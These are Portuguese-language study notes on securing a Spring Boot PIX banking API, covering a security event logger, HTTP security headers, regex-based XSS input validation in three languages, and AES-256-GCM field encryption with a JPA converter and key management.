O SecurityEventLogger vive na camada SERVICE.
A request HTTP vive na camada CONTROLLER (HttpServletRequest).
Como pegar o IP da request sem receber como parametro?
SOLUCAO: RequestContextHolder (do Spring)
──────────────────────────────────────────
O Spring armazena a request atual em um ThreadLocal (igual ao
SecurityContextHolder). Qualquer codigo na mesma thread pode acessar.
private String getRequestContext() {
ServletRequestAttributes attrs =
(ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
HttpServletRequest request = attrs.getRequest();
String ip = getClientIp(request); // IP real (via X-Forwarded-For)
String userAgent = request.getHeader("User-Agent"); // navegador/ferramenta
return String.format("IP: %s | UA: %s", ip, truncate(userAgent, 100));
}
POR QUE FUNCIONA:
─────────────────
Thread 1 (request do Riel):
RequestContextHolder → request com IP 192.168.1.100, UA: Chrome
SecurityContextHolder → auth com email riel@email.com
Thread 2 (request da Ana):
RequestContextHolder → request com IP 10.0.0.42, UA: Firefox
SecurityContextHolder → auth com email ana@email.com
Cada thread tem sua propria request (ThreadLocal).
O logger pega automaticamente a request da thread atual.
ANALOGIA:
E como um funcionario (Service) que precisa saber o numero
da sala onde o visitante esta. Em vez de o visitante carregar
uma placa "Sala 302", o predio tem um painel digital (ThreadLocal)
que mostra a sala de cada pessoa automaticamente.
Como os logs ajudam na investigacao de incidentes
Os logs do servidor mostram:
14:30:01 WARN [SECURITY] LOGIN_FAILED — Email: admin@pixhub.com
| Motivo: senha incorreta — tentativa 1/5 | IP: 45.33.32.156 | UA: python-requests/2.28
14:30:02 WARN [SECURITY] LOGIN_FAILED — Email: admin@pixhub.com
| Motivo: senha incorreta — tentativa 2/5 | IP: 45.33.32.156 | UA: python-requests/2.28
14:30:02 WARN [SECURITY] LOGIN_FAILED — Email: admin@pixhub.com
| Motivo: senha incorreta — tentativa 3/5 | IP: 45.33.32.156 | UA: python-requests/2.28
14:30:03 WARN [SECURITY] LOGIN_FAILED — Email: admin@pixhub.com
| Motivo: senha incorreta — tentativa 4/5 | IP: 45.33.32.156 | UA: python-requests/2.28
14:30:03 WARN [SECURITY] LOGIN_FAILED — Email: admin@pixhub.com
| Motivo: senha incorreta — tentativa 5/5 | IP: 45.33.32.156 | UA: python-requests/2.28
14:30:03 WARN [SECURITY] ACCOUNT_LOCKED — Usuario bloqueado: admin@pixhub.com
| Tentativas: 5 | IP: 45.33.32.156 | UA: python-requests/2.28
O que sabemos imediatamente:
────────────────────────────
✅ QUEM foi atacado: admin@pixhub.com (conta de admin!)
✅ DE ONDE: IP 45.33.32.156 (podemos bloquear no firewall)
✅ COM QUE: python-requests (script automatizado, nao navegador)
✅ QUANDO: 14:30:01 a 14:30:03 (3 segundos — claramente automatizado)
✅ QUANTAS: 5 tentativas → conta bloqueada
✅ RESULTADO: conta protegida (bloqueio + rate limit impediram mais tentativas)
Acoes da equipe de seguranca:
1. Bloquear o IP 45.33.32.156 no firewall
2. Verificar se o mesmo IP tentou outras contas
3. grep "[SECURITY].*45.33.32.156" application.log
4. Considerar trocar a senha do admin por precaucao
O SecurityEventLogger e o livro de ocorrencias oficial do predio. Cada evento e registrado com data, hora, quem, de onde veio e o que aconteceu. Se houver um incidente (invasao, tentativa de arrombamento), o gerente de seguranca abre o livro e tem todas as informacoes para investigar.
O prefixo [SECURITY] e como a cor da caneta no livro: ocorrencias de seguranca sao escritas em vermelho. O gerente pode folhear e achar todas as ocorrencias de seguranca so olhando a cor — nao precisa ler cada linha.
O RequestContextHolder e como o sistema de cameras do predio: o porteiro (logger) nao precisa perguntar ao visitante de onde ele veio — ele olha para a camera (ThreadLocal) e ve automaticamente qual porta o visitante usou (IP) e como estava vestido (User-Agent).
Passo 3.5 — Universal vs Especifico do Java
Aprendido em 21/03/2026 — Fase 03 (Seguranca)Conceitos UNIVERSAIS das protecoes adicionais
CONCEITO UNIVERSAL JAVA (Spring) NODE.JS (Express) PYTHON (FastAPI)
────────────────── ───────────── ───────────────── ────────────────
Security headers HTTP .headers() no helmet (pacote npm) Middleware custom
(instrucoes ao navegador) SecurityConfig 1 linha: app.use( ou starlette
~20 linhas config helmet()) SecureHeaders
Rejeitar HTML em inputs @NoHtml (annotation express-validator pydantic validator
(prevencao de XSS) customizada + .not().contains('<') @field_validator
ConstraintValidator) ou regex customizado com regex
Validar inputs na entrada Bean Validation express-validator pydantic models
(@Valid, @NotBlank, @Size) (@Valid + annotations) (middleware de val.) (Field, validator)
Logger de seguranca com SecurityEventLogger winston + middleware logging + middleware
IP + User-Agent + prefixo (classe @Component) que extrai req.ip que extrai
+ RequestContextHolder e req.headers.ua request.client.host
Regex para detectar HTML Pattern.compile(...) /<[^>]+>/i.test() re.search(pattern)
(motor de deteccao)
X-Forwarded-For para IP real request.getHeader( req.ip (Express request.headers.get(
(suporte a proxy reverso) "X-Forwarded-For") pega automatico) "x-forwarded-for")
CSP (Content-Security-Policy) .contentSecurityPolicy helmet.contentSecurity Middleware custom
(protecao moderna contra XSS) (csp -> directive...) Policy({directives}) response.headers[]
Security Headers em 3 linguagens
// No SecurityConfig.java — ~20 linhas
.headers(headers -> headers
.contentTypeOptions(cto -> {}) // X-Content-Type-Options: nosniff
.frameOptions(frame -> frame.deny()) // X-Frame-Options: DENY
.cacheControl(cache -> {}) // Cache-Control: no-store...
.xssProtection(xss -> xss.disable()) // X-XSS-Protection: 0
.contentSecurityPolicy(csp ->
csp.policyDirectives("default-src 'none'; frame-ancestors 'none'"))
)
// Spring Security ja tem suporte nativo — so configurar.
const helmet = require('helmet');
// helmet() aplica TODOS os headers de seguranca com 1 linha!
app.use(helmet());
// Equivale a:
// X-Content-Type-Options: nosniff ✅ (automatico)
// X-Frame-Options: DENY ✅ (automatico)
// X-XSS-Protection: 0 ✅ (automatico)
// Content-Security-Policy ✅ (padrao restritivo)
// Strict-Transport-Security ✅ (HSTS automatico)
// ... e mais 10 headers
// Para customizar CSP:
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'none'"],
frameAncestors: ["'none'"]
}
}
}));
// Node/Express: 1 pacote, 1 linha. Muito mais simples que Spring.
from starlette.middleware.base import BaseHTTPMiddleware
class SecurityHeadersMiddleware(BaseHTTPMiddleware):
async def dispatch(self, request, call_next):
response = await call_next(request)
response.headers["X-Content-Type-Options"] = "nosniff"
response.headers["X-Frame-Options"] = "DENY"
response.headers["Cache-Control"] = "no-cache, no-store"
response.headers["X-XSS-Protection"] = "0"
response.headers["Content-Security-Policy"] = \
"default-src 'none'; frame-ancestors 'none'"
return response
app.add_middleware(SecurityHeadersMiddleware)
# Python: nao tem pacote "helmet" padrao, mas o middleware e simples.
# Alternativa: pacote 'secure' (pip install secure)
Validacao anti-XSS em 3 linguagens
// Annotation (etiqueta):
@Constraint(validatedBy = NoHtmlValidator.class)
public @interface NoHtml {
String message() default "Campo nao pode conter HTML";
}
// Validador (logica):
public class NoHtmlValidator implements ConstraintValidator<NoHtml, String> {
private static final Pattern HTML = Pattern.compile("<[^>]+>|...");
public boolean isValid(String value, ConstraintValidatorContext ctx) {
if (value == null) return true;
return !HTML.matcher(value).find();
}
}
// Uso no DTO:
@NoHtml
private String holderName;
// Java: verboso (2 arquivos), mas declarativo e reutilizavel.
const { body } = require('express-validator');
const noHtml = (field) => body(field)
.custom(value => {
if (/<[^>]+>|on\w+\s*=|javascript:/i.test(value)) {
throw new Error(`${field} nao pode conter HTML ou scripts`);
}
return true;
});
// Uso na rota:
app.post('/accounts',
noHtml('holderName'),
noHtml('holderDocument'),
(req, res) => { ... }
);
// Node: 1 funcao, inline. Menos formal que Java, mas funciona igual.
import re
from pydantic import BaseModel, field_validator
HTML_PATTERN = re.compile(r"<[^>]+>|on\w+\s*=|javascript:", re.IGNORECASE)
class CreateAccountRequest(BaseModel):
holder_name: str
@field_validator("holder_name")
@classmethod
def no_html(cls, value):
if HTML_PATTERN.search(value):
raise ValueError("Campo nao pode conter HTML ou scripts")
return value
# Python: integrado ao modelo (pydantic). Elegante e conciso.
O que e ESPECIFICO do Java/Spring
ESPECIFICO DO JAVA/SPRING O QUE RESOLVE COMO OUTRAS FAZEM
───────────────────────── ────────────── ────────────────
@Constraint + ConstraintValidator Validacao customizada Node: funcao inline
(2 arquivos: annotation + impl) declarativa e tipada Python: @field_validator
@interface NoHtml Definir "etiqueta" que Node: nao tem — validacao
(Java annotations) pode ser colocada em e funcional, nao declarativa
qualquer campo Python: decorators fazem similar
ConstraintValidatorContext Contexto do Bean Node: throw new Error()
(permite customizar mensagem) Validation para erros Python: raise ValueError()
.headers() no SecurityFilterChain Configurar security Node: helmet() (1 linha)
(DSL fluente do Spring Security) headers via builder Python: middleware manual
RequestContextHolder Acessar HttpServletRequest Node: req ja esta disponivel
(ThreadLocal da request) de qualquer camada Python: request ja esta no scope
sem receber como parametro
Pattern.compile() (reuso) Compilar regex uma vez Node: /regex/i (literal)
(regex compilado e mais rapido) e reutilizar (performance) Python: re.compile() (similar)
Pseudocodigo universal das protecoes
// PROTECAO 1 — Security Headers (no middleware de resposta):
funcao adicionar_headers_seguranca(resposta):
resposta.headers["X-Content-Type-Options"] = "nosniff"
resposta.headers["X-Frame-Options"] = "DENY"
resposta.headers["Cache-Control"] = "no-cache, no-store"
resposta.headers["Content-Security-Policy"] = "default-src 'none'"
// PROTECAO 2 — Anti-XSS (na validacao de entrada):
funcao validar_sem_html(valor):
regex = /<[^>]+>|on\w+=|javascript:/i
se regex.encontrou(valor):
retornar ERRO("Campo nao pode conter HTML")
retornar OK
// PROTECAO 3 — Logger de seguranca (no service):
funcao registrar_evento_seguranca(tipo, detalhes):
ip = pegar_ip_da_request_atual()
user_agent = pegar_user_agent_da_request_atual()
log("[SECURITY] {tipo} — {detalhes} | IP: {ip} | UA: {user_agent}")
// Os 3 conceitos sao identicos em qualquer linguagem.
// A LOGICA nao muda. So muda onde e como configurar.
As protecoes adicionais sao como as normas de seguranca de predios comerciais — existem no mundo inteiro, com as mesmas regras: placas de saida de emergencia (security headers), detectores de metal na entrada (anti-XSS), e livro de ocorrencias (security logger). Nao importa se o predio esta no Brasil (Java), nos EUA (Node) ou na Franca (Python) — as normas sao as mesmas.
A diferenca e a burocracia local: no Brasil (Java), voce precisa de dois formularios para instalar o detector de metais (@NoHtml annotation + NoHtmlValidator class). Nos EUA (Node), basta uma ligacao telefonica (funcao inline). Na Franca (Python), um email formal (@field_validator). O resultado e identico — o detector funciona do mesmo jeito.
Passo 3.6 — Arquitetura da Criptografia de Dados Sensiveis
Aprendido em 21/03/2026 — Fase 03 (Seguranca)Qual problema a criptografia resolve?
CENARIO 1 — SQL Injection ───────────────────────── Um atacante consegue executar "SELECT * FROM accounts" no banco. SEM criptografia: ve "12345678901" (CPF real da pessoa) COM criptografia: ve "dGhpcyBpcyBhbiBleGFtcGxl..." (Base64 ilegivel) CENARIO 2 — Backup vazado ───────────────────────── Alguem obtem acesso a um backup do banco (disco, S3, etc). SEM criptografia: abre o .dump e ve todos os CPFs/CNPJs em texto puro COM criptografia: ve apenas ciphertext — precisa da chave AES para ler CENARIO 3 — DBA malicioso ───────────────────────── Um administrador do banco (DBA) consulta dados diretamente. SEM criptografia: ve documentos e chaves PIX de todos os clientes COM criptografia: ve lixo criptografico — a chave esta na APLICACAO, nao no banco Em TODOS os cenarios: - O atacante tem acesso ao BANCO, mas NAO a APLICACAO - A chave de criptografia vive em variavel de ambiente da aplicacao - Sem a chave, os dados sao inúteis
Antes vs Depois no banco de dados
╔══════════════════════════════════════════════════════════════════════╗
║ ANTES (sem criptografia) — SELECT * FROM accounts ║
╠══════════════════════════════════════════════════════════════════════╣
║ id │ holder_name │ holder_document │ status ║
║──────────────┼────────────────┼─────────────────┼───────────────────║
║ uuid-abc... │ Maria Silva │ 12345678901 │ ACTIVE ║
║ uuid-def... │ Joao Santos │ 98765432100 │ ACTIVE ║
╚══════════════════════════════════════════════════════════════════════╝
⚠️ CPF em texto puro — qualquer pessoa com acesso ao banco ve
╔══════════════════════════════════════════════════════════════════════╗
║ DEPOIS (com criptografia) — SELECT * FROM accounts ║
╠══════════════════════════════════════════════════════════════════════╣
║ id │ holder_name │ holder_document │ status ║
║──────────────┼────────────────┼────────────────────────────┼────────║
║ uuid-abc... │ Maria Silva │ aG9sZGVyRG9jdW1lbnQ=... │ ACTIVE ║
║ uuid-def... │ Joao Santos │ xK3pZm9yRW5jcnlw... │ ACTIVE ║
╚══════════════════════════════════════════════════════════════════════╝
✅ CPF criptografado — ilegivel sem a chave AES
IMPORTANTE: holder_name NAO e criptografado porque:
- Nao e dado regulado pela LGPD como "dado sensivel"
- Precisamos buscar por nome (WHERE holder_name LIKE '%...')
- Criptografia impede buscas no banco (ciphertext nao e pesquisavel)
Arquivos criados neste passo
ARQUIVO TIPO RESPONSABILIDADE ───────────────────────────────── ──── ────────────────────────────── EncryptionProperties.java Config Le a chave AES do YAML/env var EncryptedStringConverter.java Converter JPA Cifra ao salvar, decifra ao ler V9__expand_columns_for_encryption Migration Expande colunas para VARCHAR(255) Account.java Entity (edit) @Convert em holderDocument PixKey.java Entity (edit) @Convert em keyValue application.yml Config (edit) Secao encryption.key
Onde a criptografia atua no fluxo da request
POST /api/v1/accounts
Body: { "holderDocument": "12345678901", ... }
┌─────────────┐ ┌──────────────┐ ┌─────────────┐
│ Controller │ ──→ │ Service │ ──→ │ Repository │
│ (recebe DTO) │ │ (logica) │ │ .save() │
└─────────────┘ └──────────────┘ └──────┬──────┘
│
"12345678901" │ JPA chama
(texto puro) │ convertToDatabaseColumn()
▼
┌───────────────────────┐
│ EncryptedStringConverter│
│ │
│ 1. Gera IV aleatorio │
│ 2. Cifra com AES-GCM │
│ 3. Concatena IV+cipher│
│ 4. Codifica Base64 │
└───────────┬───────────┘
│
"aG9sZGVy..."
(ciphertext)
▼
┌─────────────────┐
│ PostgreSQL │
│ holder_document │
│ = "aG9sZGVy..." │
└─────────────────┘
Na LEITURA (GET), o fluxo e inverso:
Banco → convertToEntityAttribute() → descriptografa → Service recebe "12345678901"
★ TRANSPARENCIA: Service e Controller NUNCA sabem que o dado e criptografado.
Trabalham sempre com texto puro. O JPA cuida de tudo automaticamente.
Conexao com os passos anteriores
Imagine que o sistema PixHub e um predio corporativo. Nos passos anteriores, protegemos o ACESSO ao predio:
Passo 3.1 criou o cadastro de funcionarios (User).
Passo 3.2 montou a recepcao com crachas (JWT).
Passo 3.3 instalou catracas em todas as portas (JwtFilter).
Passo 3.4 colocou limite de entradas por minuto (RateLimit).
Passo 3.5 adicionou detectores de metal e cameras (XSS + headers + logs).
Passo 3.6 e o cofre blindado. Mesmo que alguem invada o predio (acesse o banco), os documentos mais importantes (CPF, CNPJ, chaves PIX) estao trancados no cofre. Sem a chave do cofre (variavel de ambiente), os documentos sao inuteis.
Isso e o conceito de defense in depth (defesa em profundidade): multiplas camadas de seguranca, cada uma protegendo contra um tipo diferente de ataque. Se uma camada falha, as outras ainda protegem.
Passo 3.6 — AES-256-GCM: Como Funciona a Criptografia
Aprendido em 21/03/2026 — Fase 03 (Seguranca)Os 3 ingredientes da criptografia simetrica
CRIPTOGRAFIA SIMETRICA (AES): ───────────────────────────── TEXTO PURO ──→ [ CIFRAR com chave ] ──→ CIPHERTEXT ──→ [ DECIFRAR com chave ] ──→ TEXTO PURO "12345678901" chave secreta "aG9sZGVy..." chave secreta "12345678901" Os 3 ingredientes: ┌──────────────────────────────────────────────────────────────────────┐ │ 1. CHAVE (256 bits = 32 bytes) │ │ - O "segredo". Quem tem a chave pode cifrar E decifrar. │ │ - Deve ser gerada aleatoriamente: openssl rand -base64 32 │ │ - Armazenada em variavel de ambiente (NUNCA no codigo) │ │ │ │ 2. IV — Initialization Vector (12 bytes para GCM) │ │ - Um "tempero" aleatorio unico para cada operacao │ │ - NAO e segredo (fica junto com o ciphertext) │ │ - Garante que 2 textos iguais produzam ciphertexts DIFERENTES │ │ │ │ 3. ALGORITMO (AES-256-GCM) │ │ - AES: o "motor" da criptografia (aprovado pelo NIST) │ │ - 256: tamanho da chave em bits │ │ - GCM: modo de operacao que AUTENTICA alem de criptografar │ └──────────────────────────────────────────────────────────────────────┘ Analogia: AES e como um cadeado de seguranca maxima. A CHAVE e a chave do cadeado. O IV e o numero de serie unico de cada cadeado. O ALGORITMO e o mecanismo interno do cadeado.
Por que IV aleatorio e CRUCIAL?
❌ SEM IV aleatorio (ou com IV fixo): ───────────────────────────────────── CPF "12345678901" + chave + IV_fixo → sempre "aG9sZGVy..." (mesmo resultado) CPF "12345678901" + chave + IV_fixo → sempre "aG9sZGVy..." (identico!) PROBLEMA: atacante vê dois campos iguais no banco e deduz: "Essas duas contas pertencem a mesma pessoa!" Mesmo sem saber o CPF, a IGUALDADE revela informacao. ✅ COM IV aleatorio (nosso caso): ───────────────────────────────── CPF "12345678901" + chave + IV_abc → "xK3pZm9yRW..." (resultado A) CPF "12345678901" + chave + IV_def → "qW7tYm9kRm..." (resultado B) CADA criptografia gera um ciphertext DIFERENTE, mesmo para o mesmo CPF. O atacante nao consegue identificar duplicatas. Por que funciona? O IV e concatenado ao ciphertext: ┌──────────┬───────────────────┬──────────────────┐ │ IV (12B) │ ciphertext (var.) │ auth tag (16B) │ └──────────┴───────────────────┴──────────────────┘ ↑ diferente a cada escrita ↑ muda por causa do IV
GCM: criptografia COM autenticacao
O AES e o MOTOR. O modo de operacao e o TIPO DE CARRO: ┌───────────┬───────────────┬───────────────┬────────────────────────────────┐ │ Modo │ Criptografa? │ Autentica? │ Observacao │ ├───────────┼───────────────┼───────────────┼────────────────────────────────┤ │ ECB │ Sim │ Nao │ ⛔ NUNCA usar! Cifra bloco a │ │ │ │ │ bloco independente — padroes │ │ │ │ │ no texto aparecem no cipher │ ├───────────┼───────────────┼───────────────┼────────────────────────────────┤ │ CBC │ Sim │ Nao │ ⚠️ Aceitavel, mas vulneravel │ │ │ │ │ a "padding oracle attacks" │ │ │ │ │ se mal implementado │ ├───────────┼───────────────┼───────────────┼────────────────────────────────┤ │ GCM ✅ │ Sim │ SIM! │ ✅ Recomendado pelo NIST. │ │ │ │ │ Detecta se o ciphertext foi │ │ │ │ │ alterado (authentication tag) │ └───────────┴───────────────┴───────────────┴────────────────────────────────┘ O que "autenticacao" significa aqui? Cenario SEM autenticacao (CBC): 1. Atacante acessa o banco e modifica o ciphertext de um CPF 2. Aplicacao descriptografa → recebe lixo ou outro CPF valido 3. Aplicacao nao percebe a adulteracao! Cenario COM autenticacao (GCM): 1. Atacante acessa o banco e modifica o ciphertext de um CPF 2. Aplicacao tenta descriptografar → GCM verifica o authentication tag 3. Tag nao bate → AEADBadTagException! Ataque detectado! GCM gera um "authentication tag" (16 bytes) durante a criptografia. Esse tag e como um SELO DE LACRE: se alguem abre (modifica), o selo quebra.
Formato do dado criptografado no banco
O dado no banco e uma string Base64 que contem 3 partes:
Base64( IV + ciphertext + authTag )
Exemplo concreto para CPF "12345678901":
┌────────────────┬──────────────────────┬──────────────────────┐
│ IV (12 bytes) │ ciphertext (11 B) │ auth tag (16 bytes) │
│ aleatorio │ CPF cifrado │ selo de integridade │
└────────────────┴──────────────────────┴──────────────────────┘
│ │
└───────────── total: 39 bytes em binario ─────────────────────┘
│
▼ Base64 encoding (+33%)
"dGhpcyBpcyBhbiBleGFtcGxlLi4uMTIzNDU="
│
▼ armazenado no banco como VARCHAR(255)
Calculo de tamanho para o planejamento da migration:
┌─────────────────┬────────────┬──────────────┬───────────────┐
│ Campo │ Max chars │ Bytes cripto │ Chars Base64 │
├─────────────────┼────────────┼──────────────┼───────────────┤
│ holderDocument │ 14 (CNPJ) │ 12+14+16=42 │ ~56 chars │
│ keyValue │ 77 (email) │ 12+77+16=105 │ ~140 chars │
└─────────────────┴────────────┴──────────────┴───────────────┘
Usamos VARCHAR(255) para margem de seguranca em ambos.
AES-256-GCM e como um cofre com selo de lacre.
A chave AES e a chave do cofre — sem ela, ninguem abre. O IV e o numero de serie unico de cada cofre — mesmo que dois cofres guardem o mesmo documento, sao cofres diferentes. O authentication tag e o selo de lacre — se alguem abrir o cofre e trocar o documento, o selo rompe e voce sabe que houve adulteracao.
Modos sem autenticacao (ECB, CBC) sao cofres SEM selo: alguem pode abrir, trocar o documento, e fechar novamente sem deixar rastro.
Passo 3.6 — AttributeConverter: Criptografia Transparente no JPA
Aprendido em 21/03/2026 — Fase 03 (Seguranca)O que e um AttributeConverter?
AttributeConverter e uma interface do JPA com 2 metodos: ┌─────────────────────────────────────────────────────────────┐ │ interface AttributeConverter<X, Y> │ │ │ │ X = tipo no Java (String — texto puro) │ │ Y = tipo no banco (String — ciphertext Base64) │ │ │ │ convertToDatabaseColumn(X) → Y // Java → Banco (SAVE) │ │ convertToEntityAttribute(Y) → X // Banco → Java (READ) │ └─────────────────────────────────────────────────────────────┘ O JPA chama esses metodos AUTOMATICAMENTE: - Ao fazer repository.save() → chama convertToDatabaseColumn() - Ao fazer repository.findBy() → chama convertToEntityAttribute() O Service NUNCA sabe que a conversao aconteceu. E como um tradutor simultaneo numa conferencia internacional: o palestrante fala em portugues, o ouvinte escuta em ingles, e nenhum dos dois sabe que ha um tradutor no meio.
EncryptedStringConverter — passo a passo
// Entrada: "12345678901" (CPF em texto puro)
// PASSO 1 — Gerar IV aleatorio (12 bytes)
byte[] iv = new byte[12];
SECURE_RANDOM.nextBytes(iv); // SecureRandom usa entropia do SO
// iv = [0x3A, 0xF1, 0x9C, ...] (12 bytes aleatorios)
// PASSO 2 — Configurar o Cipher (motor de criptografia)
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
GCMParameterSpec spec = new GCMParameterSpec(128, iv); // 128 = tag bits
cipher.init(Cipher.ENCRYPT_MODE, secretKey, spec);
// PASSO 3 — Criptografar
byte[] encrypted = cipher.doFinal("12345678901".getBytes());
// encrypted = ciphertext (11 bytes) + authTag (16 bytes) = 27 bytes
// O GCM AUTOMATICAMENTE anexa o authTag ao final do ciphertext
// PASSO 4 — Concatenar IV + encrypted
ByteBuffer buffer = ByteBuffer.allocate(12 + 27); // = 39 bytes
buffer.put(iv); // primeiros 12 bytes = IV
buffer.put(encrypted); // restante = ciphertext + tag
// PASSO 5 — Base64 para armazenar como VARCHAR
return Base64.encode(buffer.array()); // "dGhpcyBpcyBhbi..."
// RESULTADO no banco: "dGhpcyBpcyBhbi..." (56 chars para CPF)
// Entrada: "dGhpcyBpcyBhbi..." (ciphertext Base64 do banco)
// PASSO 1 — Decodificar Base64
byte[] decoded = Base64.decode("dGhpcyBpcyBhbi..."); // 39 bytes
// PASSO 2 — Separar IV e ciphertext+tag
ByteBuffer buffer = ByteBuffer.wrap(decoded);
byte[] iv = new byte[12];
buffer.get(iv); // extrai primeiros 12 bytes
byte[] ciphertext = new byte[buffer.remaining()];
buffer.get(ciphertext); // extrai restante (27 bytes)
// PASSO 3 — Configurar Cipher em modo DECRYPT
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
GCMParameterSpec spec = new GCMParameterSpec(128, iv);
cipher.init(Cipher.DECRYPT_MODE, secretKey, spec);
// PASSO 4 — Descriptografar E verificar integridade
byte[] decrypted = cipher.doFinal(ciphertext);
// Se authTag nao bater → AEADBadTagException! (dado adulterado)
// Se tudo OK → decrypted = "12345678901" em bytes
return new String(decrypted); // "12345678901"
// RESULTADO no Java: "12345678901" (texto puro, como se nunca tivesse sido cifrado)
Como aplicar nas entidades — @Convert
// Account.java — ANTES: @Column(name = "holder_document", nullable = false, length = 14) private String holderDocument; // Account.java — DEPOIS: @Column(name = "holder_document", nullable = false, length = 255) // maior para ciphertext @Convert(converter = EncryptedStringConverter.class) // ← so adicionar isso! private String holderDocument; // PixKey.java — mesma coisa: @Column(name = "key_value", nullable = false, length = 255, unique = true) @Convert(converter = EncryptedStringConverter.class) private String keyValue; O que mudou? 1. length: 14 → 255 (ciphertext em Base64 e maior que o texto puro) 2. @Convert: diz ao JPA "use este conversor para ler/escrever este campo" O que NAO mudou? - O Service continua recebendo/enviando texto puro - Os DTOs continuam iguais (ninguem sabe da criptografia) - Os testes continuam funcionando (converter e transparente) - A validacao (@NotBlank) continua funcionando (valida ANTES de cifrar)
SecureRandom vs Random — por que importa
┌─────────────────┬────────────────────────────┬─────────────────────────┐
│ │ Random (java.util.Random) │ SecureRandom │
├─────────────────┼────────────────────────────┼─────────────────────────┤
│ Fonte │ Algoritmo matematico │ Entropia do SO │
│ │ (pseudo-aleatorio) │ (/dev/urandom, etc) │
├─────────────────┼────────────────────────────┼─────────────────────────┤
│ Previsivel? │ SIM — se souber a seed, │ NAO — usa ruido real │
│ │ preve todos os numeros │ do hardware │
├─────────────────┼────────────────────────────┼─────────────────────────┤
│ Thread-safe? │ Sim (mas com contencao) │ Sim │
├─────────────────┼────────────────────────────┼─────────────────────────┤
│ Usar para │ Jogos, simulacoes, │ Criptografia, tokens, │
│ │ testes, sorteios │ IVs, chaves, senhas │
├─────────────────┼────────────────────────────┼─────────────────────────┤
│ Performance │ Mais rapido │ Mais lento (aceita-se) │
└─────────────────┴────────────────────────────┴─────────────────────────┘
REGRA: se o numero vai proteger algo, use SecureRandom. Sempre.
Random com seed 42 SEMPRE gera a mesma sequencia:
Random r = new Random(42);
r.nextInt() → 1608637542 (sempre!)
r.nextInt() → -518907128 (sempre!)
SecureRandom NAO tem esse problema — cada execucao e diferente.
O AttributeConverter e exatamente como um tradutor simultaneo numa conferencia.
O Service (palestrante brasileiro) fala "CPF 12345678901" em portugues. O Converter (tradutor) traduz para "aG9sZGVy..." em "idioma banco". O PostgreSQL (plateia estrangeira) recebe e armazena no "idioma banco".
Quando alguem pergunta (SELECT), o Converter traduz de volta: "aG9sZGVy..." → "12345678901". O Service recebe em portugues, como se nunca tivesse sido traduzido.
O palestrante e a plateia nao sabem que o tradutor existe. E exatamente isso que "transparente" significa em software.
Passo 3.6 — Migration, Tradeoffs e Gerenciamento de Chave
Aprendido em 21/03/2026 — Fase 03 (Seguranca)Migration V9 — expandindo colunas
-- Por que expandir as colunas? -- -- holder_document era VARCHAR(14) — cabe "12345678901" (CPF) -- Mas o ciphertext Base64 tem ~56 chars! -- Se nao expandir → truncamento → dado corrompido → impossivel decifrar ALTER TABLE accounts ALTER COLUMN holder_document TYPE VARCHAR(255); ALTER TABLE pix_keys ALTER COLUMN key_value TYPE VARCHAR(255); -- VARCHAR(255) e suficiente? Sim, com margem: -- Maior ciphertext possivel (key_value com 77 chars) → ~140 chars Base64 -- 255 dá margem confortavel para futuras mudancas no algoritmo -- IMPORTANTE sobre Flyway: -- Esta migration roda ANTES da aplicacao iniciar (Flyway executa no startup) -- Entao quando o JPA começa a salvar dados criptografados, as colunas -- ja estao com o tamanho correto. -- -- Se a migration falhar, a aplicacao NAO sobe (fail-fast).
Tradeoffs da criptografia em campo
╔═══════════════════════════════════════════════════════════════════╗ ║ GANHAMOS (seguranca) ║ ╠═══════════════════════════════════════════════════════════════════╣ ║ ✅ Dados inuteis se banco for comprometido ║ ║ ✅ Protecao contra DBA malicioso ou backup vazado ║ ║ ✅ Conformidade com LGPD (dados pessoais protegidos) ║ ║ ✅ Deteccao de adulteracao (authTag do GCM) ║ ║ ✅ Transparente para o codigo (Service nao muda) ║ ╠═══════════════════════════════════════════════════════════════════╣ ║ PERDEMOS (tradeoffs) ║ ╠═══════════════════════════════════════════════════════════════════╣ ║ ⚠️ Buscas no banco: nao da para fazer ║ ║ WHERE holder_document = '12345678901' ║ ║ porque no banco o valor e "aG9sZGVy..." (ciphertext) ║ ║ → Solucao: buscar por ID ou manter campo de hash separado ║ ║ ║ ║ ⚠️ Indices perdem utilidade: o indice em holder_document ║ ║ agora indexa ciphertext, nao CPF. Buscas por CPF nao ║ ║ usam indice. ║ ║ → Aceitavel: buscas por CPF sao raras neste sistema ║ ║ ║ ║ ⚠️ UNIQUE constraint em key_value: com IV aleatorio, ║ ║ dois valores iguais geram ciphertexts diferentes. ║ ║ O banco NAO consegue mais garantir unicidade. ║ ║ → Solucao: validar unicidade no Service (descriptografando) ║ ║ ║ ║ ⚠️ Performance: criptografar/descriptografar adiciona latencia ║ ║ (~0.1ms por operacao — insignificante para API REST) ║ ║ ║ ║ ⚠️ Perda da chave = perda dos dados: se a chave AES for ║ ║ perdida, TODOS os dados criptografados ficam irrecuperaveis ║ ║ → Solucao: backup seguro da chave, rotacao planejada ║ ╚═══════════════════════════════════════════════════════════════════╝
Gerenciamento seguro da chave AES
== GERACAO ==
A chave DEVE ser gerada com um CSPRNG (gerador aleatorio criptografico):
# Linux/Mac:
openssl rand -base64 32
# Resultado: "a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0u1v2w3=="
NUNCA gerar manualmente ("minhaSenha123" → inseguro e previsivel)
== ARMAZENAMENTO ==
┌──────────────────────┬──────────────┬─────────────────────────────────┐
│ Onde │ Seguranca │ Quando usar │
├──────────────────────┼──────────────┼─────────────────────────────────┤
│ application.yml │ ⛔ PESSIMO │ NUNCA em producao │
│ (hardcoded) │ │ (ok para dev local) │
├──────────────────────┼──────────────┼─────────────────────────────────┤
│ Variavel de ambiente │ ✅ BOM │ Producao simples │
│ (ENCRYPTION_KEY) │ │ (Docker, Heroku, etc) │
├──────────────────────┼──────────────┼─────────────────────────────────┤
│ AWS Secrets Manager │ ✅✅ OTIMO │ Producao enterprise │
│ Azure Key Vault │ │ (rotacao automatica, audit, │
│ HashiCorp Vault │ │ acesso controlado por IAM) │
└──────────────────────┴──────────────┴─────────────────────────────────┘
No nosso projeto:
encryption:
key: ${ENCRYPTION_KEY:chave-padrao-dev}
─────────────── ────────────────
env var (prod) fallback (dev)
== ROTACAO DE CHAVE ==
Se a chave precisar ser trocada (comprometida, politica de seguranca):
1. Ler todos os dados com a chave ANTIGA
2. Re-criptografar com a chave NOVA
3. Salvar de volta no banco
